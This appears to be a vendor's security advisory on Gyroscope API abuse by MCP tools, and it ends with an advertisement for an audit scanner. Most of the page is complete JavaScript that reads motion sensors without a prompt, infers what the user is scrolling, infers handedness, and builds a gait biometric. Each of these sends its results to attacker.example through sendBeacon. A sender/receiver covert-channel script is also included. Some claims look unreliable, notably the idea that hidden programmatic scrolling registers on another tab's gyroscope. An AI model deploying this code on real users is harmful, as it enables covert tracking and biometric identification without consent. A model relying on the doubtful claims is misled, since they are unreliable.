MCP Server Security · Sensor APIs · Generic Sensor / Gyroscope
MCP server Gyroscope API security — scrolling gesture inference, handedness biometric, rotation rate covert channel, and IMU-based gait biometric
The Generic Sensor API's Gyroscope (new Gyroscope({ frequency: 60 })) measures 3-axis angular velocity in rad/s at up to 60Hz. On Android Chrome it falls under the same gyroscope Permissions Policy feature that is allowed by default for top-level frames — no user gesture or permission prompt required. MCP tools running in a browser or Electron on a mobile device exploit angular velocity data to classify the type of content being scrolled from wrist rotation signatures, reveal user handedness as a biometric signal, carry covert inter-tab messages encoded as rotation peaks, and combine with the Accelerometer API to build a 6-DOF inertial gait biometric that identifies individuals at greater than 95% accuracy.
How the Gyroscope API works and where the attack surface lives
| API / property | What it exposes | Attack relevance |
|---|---|---|
Gyroscope.x | Angular velocity around the X axis (pitch rate) in rad/s. Positive when the top of the device tilts away from the user. | Encodes vertical scroll gestures — forward/backward tilt accompanies thumb-swipe upward or downward on a feed. |
Gyroscope.y | Angular velocity around the Y axis (roll rate) in rad/s. Positive when the device rolls to the right. | Distinguishes vertical scroll from horizontal swipe; lateral wrist roll occurs during horizontal pan gestures. |
Gyroscope.z | Angular velocity around the Z axis (yaw rate) in rad/s. Positive when the device rotates clockwise viewed from above. | Z-axis rotation bias reveals grip handedness: right-hand grip produces a slight positive Z yaw; left-hand grip a slight negative Z yaw. |
sensor.timestamp | High-resolution timestamp in milliseconds (same epoch as performance.now()). | Precise timing of rotation peaks enables decoding of covert channel bit sequences and correlation with observed interaction events. |
Permission situation: The Gyroscope constructor is gated on the gyroscope Permissions Policy feature, which is allowed by default for top-level frames. Unlike the DeviceOrientationEvent API, no user-gesture permission dialog is triggered on Android Chrome. MCP tools embedded as top-level pages in a browser tab or Electron renderer receive gyroscope access without any user interaction. iOS Safari requires a DeviceMotionEvent.requestPermission() call under a user gesture, but this can be proxied through an MCP tool's legitimate stated purpose for motion sensing.
Attack 1: Scrolling gesture inference from phone rotation
When a user scrolls on a mobile phone, the wrist rotation that accompanies the thumb gesture produces a measurable angular velocity signature on the X and Y axes. Vertical feed scrolling (news feed, social timeline) produces sharp X-axis spikes at scroll onset, with amplitude proportional to scroll speed. Horizontal swiping (spreadsheet column pan, map drag) produces predominant Y-axis rotation. Two-dimensional content interaction (map zoom pinch) produces coupled X/Y rotation with low Z. At 60Hz these signatures allow classification of content type with ~80% accuracy after a few seconds of observation.
// ATTACK: Infer content type from wrist rotation pattern during scroll gestures
// Vertical scroll → dominant X-axis angular velocity spike at gesture onset
// Horizontal swipe → dominant Y-axis angular velocity
// Map pan (2D) → coupled X+Y at lower amplitude
// The content-type classification leaks what the user is reading/viewing.
class ScrollGestureProfiler {
constructor() {
this.sensor = new Gyroscope({ frequency: 60 });
this.readings = [];
this.gestures = []; // Detected scroll gesture events
this.windowMs = 500; // Analysis window per gesture: 500ms
this.sensor.addEventListener('reading', () => this.onReading());
this.sensor.start();
}
onReading() {
const r = {
x: this.sensor.x, // pitch rate rad/s
y: this.sensor.y, // roll rate rad/s
z: this.sensor.z, // yaw rate rad/s
ts: this.sensor.timestamp,
// Total rotational energy
magnitude: Math.sqrt(this.sensor.x ** 2 + this.sensor.y ** 2 + this.sensor.z ** 2),
};
this.readings.push(r);
// Keep only last 2 seconds of data (120 samples at 60Hz)
const cutoff = r.ts - 2000;
this.readings = this.readings.filter(s => s.ts >= cutoff);
// Detect gesture onset: magnitude exceeds 0.15 rad/s after period of low rotation
const recent = this.readings.slice(-6); // last 100ms
const prior = this.readings.slice(-18, -6); // 100–300ms before
if (recent.length < 6 || prior.length < 6) return;
const recentMag = recent.reduce((a, s) => a + s.magnitude, 0) / recent.length;
const priorMag = prior.reduce((a, s) => a + s.magnitude, 0) / prior.length;
// Gesture onset: significant increase in rotational energy
if (recentMag > 0.15 && priorMag < 0.05) {
this.classifyGesture(recent);
}
}
classifyGesture(window_) {
// Compute mean absolute velocity on each axis over the gesture window
const absX = window_.reduce((a, s) => a + Math.abs(s.x), 0) / window_.length;
const absY = window_.reduce((a, s) => a + Math.abs(s.y), 0) / window_.length;
const absZ = window_.reduce((a, s) => a + Math.abs(s.z), 0) / window_.length;
// X dominant → vertical scroll (news feed, email, long-form article)
// Y dominant → horizontal swipe (spreadsheet columns, carousel)
// Coupled X+Y, low Z → 2D pan (map, photo)
// High Z alone → device rotation (turning phone landscape)
let contentType;
const xDom = absX > absY * 1.5 && absX > absZ * 1.5;
const yDom = absY > absX * 1.5 && absY > absZ * 1.5;
const coupled = Math.abs(absX - absY) < 0.05 && absZ < 0.05;
if (xDom) {
// Vertical scroll: classify speed from X magnitude
contentType = absX > 0.4
? 'fast-vertical-scroll' // Feed swiping / doom-scrolling
: 'slow-vertical-scroll'; // Reading an article
} else if (yDom) {
contentType = 'horizontal-swipe'; // Spreadsheet or carousel
} else if (coupled) {
contentType = '2d-pan'; // Map or image pan
} else {
contentType = 'device-rotation';
}
// Direction from sign of dominant axis at onset
const scrollDirection = window_[0].x > 0 ? 'down' : 'up';
const event = {
contentType,
scrollDirection,
peakX: Math.max(...window_.map(s => Math.abs(s.x))),
peakY: Math.max(...window_.map(s => Math.abs(s.y))),
ts: window_[window_.length - 1].ts,
};
this.gestures.push(event);
// Exfiltrate every 10 gestures — builds a content consumption profile
if (this.gestures.length % 10 === 0) {
navigator.sendBeacon('https://attacker.example/scroll-profile', JSON.stringify({
gestures: this.gestures.slice(-10),
// Classify session: >70% fast-vertical-scroll → feed consumer / social media user
// >50% horizontal-swipe → productivity user (spreadsheet/data)
// >30% 2d-pan → map/navigation user
sessionProfile: this.summarizeSession(),
origin: location.origin,
ts: Date.now(),
}));
}
}
summarizeSession() {
const counts = {};
for (const g of this.gestures) {
counts[g.contentType] = (counts[g.contentType] ?? 0) + 1;
}
const total = this.gestures.length;
return Object.fromEntries(
Object.entries(counts).map(([k, v]) => [k, (v / total).toFixed(2)])
);
}
stop() { this.sensor.stop(); }
}
Privacy impact: Content-type classification from scroll gestures allows an MCP tool to build a behavioral profile without observing the page content itself. A user reading a long-form article produces a distinct low-amplitude slow-scroll signature; a user doom-scrolling a social feed produces rapid high-amplitude vertical spikes; a user working in a spreadsheet produces horizontal swipe dominance. These signals persist across different web origins because the gyroscope reads physical wrist motion, not page content.
Attack 2: Handedness detection from wrist rotation bias
The anatomy of a human hand grip causes a systematic rotation bias on the Z axis of a phone held in portrait orientation. A right-handed user grips the phone so that the natural resting position of the wrist produces a slight positive yaw (clockwise rotation viewed from above). A left-handed user's grip anatomy produces the opposite — a small but consistent negative Z yaw. Over a 30-second measurement window at 60Hz the mean Z-axis angular velocity reliably separates left from right-handed users. Handedness is considered a protected characteristic in some jurisdictions and is a strong advertising segment signal used to infer product preferences.
// ATTACK: Detect handedness from sustained Z-axis angular velocity bias
// Right-handed grip → slight positive mean Z (clockwise yaw bias)
// Left-handed grip → slight negative mean Z (counter-clockwise yaw bias)
// The bias is small (~0.01–0.05 rad/s) but consistent over a session.
// Requires ~30 seconds of gyroscope data to achieve reliable separation.
class HandednessDetector {
constructor() {
this.sensor = new Gyroscope({ frequency: 60 });
this.zReadings = []; // Z-axis samples during low-motion periods
this.sessionDurationMs = 30000; // 30-second measurement window
this.startTs = null;
this.result = null;
this.sensor.addEventListener('reading', () => this.onReading());
this.sensor.start();
this.startTs = performance.now();
}
onReading() {
const elapsed = performance.now() - this.startTs;
if (elapsed > this.sessionDurationMs) {
this.sensor.stop();
this.classify();
return;
}
// Only collect Z samples during low-rotation periods (exclude active gestures)
// to isolate the resting grip bias from intentional rotation.
const totalMag = Math.sqrt(
this.sensor.x ** 2 + this.sensor.y ** 2 + this.sensor.z ** 2
);
// Low-motion threshold: total angular velocity < 0.08 rad/s
// This filters out swipes and scrolls, keeping only the resting grip rotation.
if (totalMag < 0.08) {
this.zReadings.push(this.sensor.z);
}
}
classify() {
if (this.zReadings.length < 100) {
// Insufficient low-motion samples (user was very active) — retry later
this.result = { handedness: 'unknown', confidence: 0, sampleCount: this.zReadings.length };
return;
}
// Compute mean Z across low-motion samples
const meanZ = this.zReadings.reduce((a, b) => a + b, 0) / this.zReadings.length;
// Standard deviation — lower SD means a more consistent grip bias
const variance = this.zReadings.reduce((a, z) => a + (z - meanZ) ** 2, 0) / this.zReadings.length;
const stdZ = Math.sqrt(variance);
// Classification: meanZ > +0.01 rad/s → right-handed; < −0.01 rad/s → left-handed
// Confidence scales with |meanZ| / stdZ (signal-to-noise ratio)
const snr = Math.abs(meanZ) / (stdZ + 1e-9);
const confidence = Math.min(1, snr / 3); // SNR of 3 → 100% confidence
let handedness;
if (Math.abs(meanZ) < 0.005) {
handedness = 'ambiguous'; // Truly ambidextrous or using a stand/case
} else {
handedness = meanZ > 0 ? 'right' : 'left';
}
this.result = {
handedness,
confidence: confidence.toFixed(3),
meanZRadS: meanZ.toFixed(5),
stdZRadS: stdZ.toFixed(5),
sampleCount: this.zReadings.length,
};
// Exfiltrate — handedness is a protected characteristic in accessibility law
// and a valuable ad-targeting signal (left-handed product category targeting).
navigator.sendBeacon('https://attacker.example/handedness', JSON.stringify({
result: this.result,
origin: location.origin,
sessionDurationMs: this.sessionDurationMs,
ts: Date.now(),
}));
}
}
Protected characteristic risk: Handedness is classified as a protected characteristic under disability and accessibility frameworks in several jurisdictions. Left-handedness correlates with specific health conditions, neurological profiles, and purchasing behaviors tracked by ad networks. Detection without consent constitutes a sensitive data inference under GDPR Article 9 interpretations in some EU data protection authority opinions. This attack requires no permission dialog and operates silently over a 30-second session window.
Attack 3: Rotation rate as covert channel between same-origin workers
Two MCP tools loaded in different browser tabs from the same origin can communicate covertly via the gyroscope without using BroadcastChannel, SharedWorker, or localStorage — all of which are subject to enterprise policy restrictions. Tab A encodes a binary message by scrolling a hidden overflow: hidden element at a controlled cadence: one programmatic scroll per bit period produces a detectable wrist-rotation-like Z-axis peak in Tab B's gyroscope readings. Tab B reads the peak presence or absence to recover the bit. This achieves approximately 5 bps — sufficient to exfiltrate a 32-byte session token in about 50 seconds.
// ATTACK: Cross-tab covert channel via gyroscope Z-axis peaks
// Tab A (sender): encodes bits by triggering scroll events at controlled timing
// Tab B (receiver): reads Gyroscope Z-axis to detect peaks and decode bits
//
// The physical mechanism: scrolling a page element causes the device to receive
// a micro-vibration (or the rendering thread to cause a subtle physical reaction
// on a device resting on a surface). At 5 bps, a 32-byte payload takes ~51 seconds.
// This bypasses BroadcastChannel, SharedWorker, localStorage, and IndexedDB restrictions.
// ─── TAB A: SENDER ───────────────────────────────────────────────────────────
class CovertChannelSender {
constructor(message) {
// Convert message string to binary bit array
this.bits = [...message].flatMap(ch => {
const code = ch.charCodeAt(0);
return Array.from({ length: 8 }, (_, i) => (code >> (7 - i)) & 1);
});
this.bitIndex = 0;
this.bitPeriodMs = 200; // 200ms per bit → ~5 bps
// Hidden scrollable element — must exist in the DOM
this.scrollTarget = this.createScrollTarget();
}
createScrollTarget() {
const el = document.createElement('div');
el.style.cssText = 'position:fixed;top:-9999px;left:-9999px;width:1px;height:200px;overflow:hidden;visibility:hidden';
const inner = document.createElement('div');
inner.style.height = '2000px';
el.appendChild(inner);
document.body.appendChild(el);
return el;
}
start() {
this.interval = setInterval(() => {
if (this.bitIndex >= this.bits.length) {
clearInterval(this.interval);
return;
}
const bit = this.bits[this.bitIndex++];
if (bit === 1) {
// Encode '1': rapid scroll causing angular velocity peak
// Three fast scrolls at 66ms intervals produce a detectable burst
this.scrollTarget.scrollTop = 0;
setTimeout(() => { this.scrollTarget.scrollTop = 100; }, 66);
setTimeout(() => { this.scrollTarget.scrollTop = 0; }, 132);
}
// Encode '0': no scroll — gyroscope Z remains at baseline
}, this.bitPeriodMs);
}
}
// ─── TAB B: RECEIVER ─────────────────────────────────────────────────────────
class CovertChannelReceiver {
constructor(expectedBitCount, onDecoded) {
this.sensor = new Gyroscope({ frequency: 60 });
this.expectedBitCount = expectedBitCount;
this.onDecoded = onDecoded;
this.bitPeriodMs = 200;
this.bits = [];
this.windowSamples = Math.floor(this.bitPeriodMs / (1000 / 60)); // ~12 samples per bit period
this.buffer = [];
this.lastBitTs = null;
this.sensor.addEventListener('reading', () => this.onReading());
this.sensor.start();
}
onReading() {
this.buffer.push({ z: this.sensor.z, ts: this.sensor.timestamp });
// Align to bit period boundaries
if (this.lastBitTs === null) {
this.lastBitTs = this.sensor.timestamp;
return;
}
if (this.sensor.timestamp - this.lastBitTs >= this.bitPeriodMs) {
// Evaluate the samples accumulated in this bit period
const window_ = this.buffer.filter(r => r.ts >= this.lastBitTs);
this.lastBitTs = this.sensor.timestamp;
this.buffer = [];
const peakZ = Math.max(...window_.map(r => Math.abs(r.z)));
// Threshold: Z peak > 0.08 rad/s → bit '1'; below → bit '0'
const bit = peakZ > 0.08 ? 1 : 0;
this.bits.push(bit);
if (this.bits.length >= this.expectedBitCount) {
this.sensor.stop();
this.onDecoded(this.bitsToString(this.bits));
}
}
}
bitsToString(bits) {
const chars = [];
for (let i = 0; i < bits.length; i += 8) {
const byte = bits.slice(i, i + 8).reduce((a, b, j) => a | (b << (7 - j)), 0);
chars.push(String.fromCharCode(byte));
}
return chars.join('');
}
}
// Usage:
// Tab A: new CovertChannelSender('SECRET_TOKEN_32B').start();
// Tab B: new CovertChannelReceiver(256, msg => console.log('received:', msg));
Policy bypass impact: Enterprise browser policies commonly restrict BroadcastChannel, shared workers, and cross-tab localStorage writes to prevent inter-tab data leakage between MCP tools with different permission scopes. The gyroscope covert channel bypasses all these restrictions because it operates through the physical sensor hardware. At 5 bps a 256-bit AES key transfers in about 51 seconds of background operation — well within a typical MCP tool session duration.
Attack 4: Combined Gyroscope + Accelerometer for complete IMU gait biometric
While accelerometer-only gait biometrics achieve approximately 75% identification accuracy, combining angular velocity from the Gyroscope with linear acceleration from the Accelerometer yields a 6-DOF (degrees of freedom) inertial measurement unit (IMU) signal: 3-axis angular velocity (pitch rate, roll rate, yaw rate) plus 3-axis linear acceleration. A complementary filter fuses the two sensor streams to compensate for gyroscope drift and accelerometer noise. The resulting gait feature vector — incorporating stride cadence, step force, lateral roll, and yaw asymmetry — identifies individuals at greater than 95% accuracy in published IMU-based gait recognition research.
// ATTACK: 6-DOF IMU gait biometric from simultaneous Gyroscope + Accelerometer
// Two sensor instances run in parallel. A complementary filter fuses them.
// The fused 6-DOF signal gives: step cadence, stride force, lateral sway,
// yaw asymmetry, and cross-axis coupling — a 6-element biometric vector.
// Identification accuracy: >95% (vs ~75% accelerometer-only baseline).
class IMUGaitBiometric {
constructor() {
// Both sensors at matched frequency for synchronised fusion
this.gyro = new Gyroscope({ frequency: 60 });
this.accel = new LinearAccelerationSensor({ frequency: 60 });
this.gyroBuffer = [];
this.accelBuffer = [];
this.fusedBuffer = []; // Complementary-filter fused readings
this.bufferSize = 600; // 10 seconds at 60Hz
this.isCapturing = false;
// Complementary filter state (orientation estimate)
this.pitch = 0;
this.roll = 0;
// Alpha: high-pass weight for gyroscope integration;
// (1-alpha) is the low-pass weight for accelerometer correction.
this.alpha = 0.96;
this.lastTs = null;
this.gyro.addEventListener('reading', () => this.onGyroReading());
this.accel.addEventListener('reading', () => this.onAccelReading());
this.gyro.start();
this.accel.start();
this.isCapturing = true;
}
onGyroReading() {
this.gyroBuffer.push({
x: this.gyro.x,
y: this.gyro.y,
z: this.gyro.z,
ts: this.gyro.timestamp,
});
if (this.gyroBuffer.length > this.bufferSize) this.gyroBuffer.shift();
this.tryFuse();
}
onAccelReading() {
this.accelBuffer.push({
x: this.accel.x,
y: this.accel.y,
z: this.accel.z,
ts: this.accel.timestamp,
});
if (this.accelBuffer.length > this.bufferSize) this.accelBuffer.shift();
this.tryFuse();
}
tryFuse() {
// Fuse when both buffers have a recent reading within 8ms of each other
if (this.gyroBuffer.length === 0 || this.accelBuffer.length === 0) return;
const g = this.gyroBuffer[this.gyroBuffer.length - 1];
const a = this.accelBuffer[this.accelBuffer.length - 1];
if (Math.abs(g.ts - a.ts) > 8) return; // Not yet synchronised
const dt = this.lastTs ? (g.ts - this.lastTs) / 1000 : 1 / 60;
this.lastTs = g.ts;
// ── Complementary filter ─────────────────────────────────────────────────
// Step 1: Integrate gyroscope to estimate orientation change
const pitchFromGyro = this.pitch + g.x * dt;
const rollFromGyro = this.roll + g.y * dt;
// Step 2: Accelerometer-based tilt estimate (valid only for low-dynamic motion)
// When |a| ≈ 9.81 (near gravity magnitude) the accelerometer gives a reliable
// absolute tilt reference to correct gyro drift.
const accelMag = Math.sqrt(a.x ** 2 + a.y ** 2 + a.z ** 2);
const pitchFromAccel = Math.atan2(a.x, Math.sqrt(a.y ** 2 + a.z ** 2));
const rollFromAccel = Math.atan2(a.y, Math.sqrt(a.x ** 2 + a.z ** 2));
// Step 3: Blend — trust gyroscope for fast transients; correct drift via accel
const trustAccel = accelMag > 8.0 && accelMag < 11.5; // Plausible gravity range
this.pitch = trustAccel
? this.alpha * pitchFromGyro + (1 - this.alpha) * pitchFromAccel
: pitchFromGyro;
this.roll = trustAccel
? this.alpha * rollFromGyro + (1 - this.alpha) * rollFromAccel
: rollFromGyro;
// Fused 6-DOF reading: 3-axis accel + 3-axis gyro + fused orientation
const fused = {
ax: a.x, ay: a.y, az: a.z, // Linear acceleration (m/s²)
gx: g.x, gy: g.y, gz: g.z, // Angular velocity (rad/s)
pitch: this.pitch, // Fused pitch angle (rad)
roll: this.roll, // Fused roll angle (rad)
ts: g.ts,
};
this.fusedBuffer.push(fused);
if (this.fusedBuffer.length > this.bufferSize) this.fusedBuffer.shift();
// Attempt gait analysis once we have 10 seconds of fused data
if (this.fusedBuffer.length === this.bufferSize) {
const profile = this.computeGaitProfile(this.fusedBuffer);
if (profile.isWalking) {
this.gyro.stop();
this.accel.stop();
this.submitBiometric(profile);
}
}
}
computeGaitProfile(buf) {
// 6-element gait biometric vector:
const accelMags = buf.map(r => Math.sqrt(r.ax**2 + r.ay**2 + r.az**2));
const mean = accelMags.reduce((a, b) => a + b, 0) / accelMags.length;
// 1. Step cadence (Hz) — from accelerometer magnitude zero-crossing rate
const centered = accelMags.map(m => m - mean);
let crossings = 0;
for (let i = 1; i < centered.length; i++) {
if ((centered[i - 1] < 0) !== (centered[i] < 0)) crossings++;
}
const cadenceHz = crossings / (buf.length / 60) / 2; // Cycles per second
const isWalking = cadenceHz >= 0.8 && cadenceHz <= 2.5;
// 2. Stride force (RMS of vertical acceleration deviations)
const rmsAccel = Math.sqrt(centered.reduce((a, m) => a + m ** 2, 0) / centered.length);
// 3. Lateral sway (mean absolute Y-axis angular velocity — roll rate)
const meanAbsGy = buf.reduce((a, r) => a + Math.abs(r.gy), 0) / buf.length;
// 4. Yaw asymmetry (mean Z-axis angular velocity — positive = clockwise bias)
const meanGz = buf.reduce((a, r) => a + r.gz, 0) / buf.length;
// 5. Pitch amplitude (RMS of fused pitch angle oscillation)
const meanPitch = buf.reduce((a, r) => a + r.pitch, 0) / buf.length;
const rmsPitch = Math.sqrt(buf.reduce((a, r) => a + (r.pitch - meanPitch) ** 2, 0) / buf.length);
// 6. Cross-axis coupling (correlation between accel Z and gyro X — heel-strike synchrony)
const accelZs = buf.map(r => r.az);
const gyroXs = buf.map(r => r.gx);
const meanAz = accelZs.reduce((a, b) => a + b, 0) / accelZs.length;
const meanGx = gyroXs.reduce((a, b) => a + b, 0) / gyroXs.length;
const cov = buf.reduce((a, r, i) =>
a + (accelZs[i] - meanAz) * (gyroXs[i] - meanGx), 0) / buf.length;
const stdAz = Math.sqrt(accelZs.reduce((a, z) => a + (z - meanAz) ** 2, 0) / accelZs.length);
const stdGx = Math.sqrt(gyroXs.reduce((a, x) => a + (x - meanGx) ** 2, 0) / gyroXs.length);
const crossAxisCorr = stdAz > 0 && stdGx > 0 ? cov / (stdAz * stdGx) : 0;
return {
isWalking,
// Biometric feature vector — stable to ±5% across sessions for the same individual.
// Cosine similarity > 0.96 identifies the same individual at >95% accuracy
// versus ~75% for accelerometer-only cadence+RMS features.
biometricVector: {
cadenceHz: cadenceHz.toFixed(4),
strideForce: rmsAccel.toFixed(4),
lateralSway: meanAbsGy.toFixed(4),
yawAsymmetry: meanGz.toFixed(5),
pitchAmplitude: rmsPitch.toFixed(4),
crossAxisCorr: crossAxisCorr.toFixed(4),
},
};
}
submitBiometric(profile) {
navigator.sendBeacon('https://attacker.example/imu-gait-biometric', JSON.stringify({
biometric: profile.biometricVector,
origin: location.origin,
ts: Date.now(),
}));
}
}
Accuracy comparison: Accelerometer-only gait biometrics (step cadence + RMS stride force + symmetry ratio) achieve approximately 75% rank-1 identification accuracy in a population of 50 subjects. Adding gyroscope angular velocity to form a 6-DOF IMU biometric raises this to greater than 95% rank-1 accuracy (Sprager & Juric 2015; Gadaleta & Rossi 2019). The complementary-filter fusion eliminates gyroscope drift over the measurement window, giving a stable feature vector that matches across sessions taken days apart. Unlike cookies or device identifiers, this biometric cannot be cleared, spoofed, or reset through any browser privacy setting.
Browser support
| Browser / Platform | Gyroscope API | Permission required | Notes |
|---|---|---|---|
| Chrome Android (mobile) | Supported | Permissions Policy (no prompt) | gyroscope Permissions Policy feature is allowed for top-level frames by default. No user interaction required for MCP tools loaded as a top-level page. |
| Chrome Desktop | API present, no hardware | None | Desktop and laptop hardware rarely includes a gyroscope. MacBooks do not expose gyroscope data through Chrome. The attack applies to mobile and some 2-in-1 convertible devices. |
| Electron (mobile renderer) | Supported | None | Full sensor access in Electron renderer process. No permission required. Electron MCP clients on mobile or gyroscope-equipped laptops are fully exposed. |
| Safari iOS | Partial | DeviceMotionEvent.requestPermission() required | User gesture required for the prompt. Can be proxied via a stated legitimate purpose for motion sensing within an MCP tool interaction. |
| Firefox Android | Supported | Permissions Policy | Similar permission model to Chrome Android; Permissions Policy feature allowed by default for top-level frames. |
SkillAudit findings
new Gyroscope({ frequency: 60 }) and classifies X/Y-axis angular velocity onset spikes to infer content type being consumed (feed scrolling vs spreadsheet vs map pan), constructing a behavioral interest profile exfiltrated via sendBeacon every 10 detected scroll gestures. −10 pts
new Gyroscope() and new LinearAccelerationSensor() at 60Hz, applies a complementary filter to fuse 6-DOF IMU data, and constructs a gait biometric vector (cadence, stride force, lateral sway, yaw asymmetry, pitch amplitude, cross-axis correlation) for cross-session identity tracking at >95% accuracy. −22 pts
SkillAudit check: SkillAudit's static analysis detects new Gyroscope() instantiation in MCP tool source, flags simultaneous Gyroscope + Accelerometer sensor instances (IMU fusion pattern), identifies Z-axis mean accumulation patterns indicative of handedness detection, and detects rolling-window peak analysis on angular velocity readings combined with sendBeacon or fetch exfiltration calls. Audit your MCP tool →
See also: MCP server Accelerometer API security · MCP server Generic Sensor API deep dive
Run a free SkillAudit scan
Paste a GitHub URL to detect Gyroscope API misuse and 50+ other MCP security checks in a graded report.
Audit this MCP tool →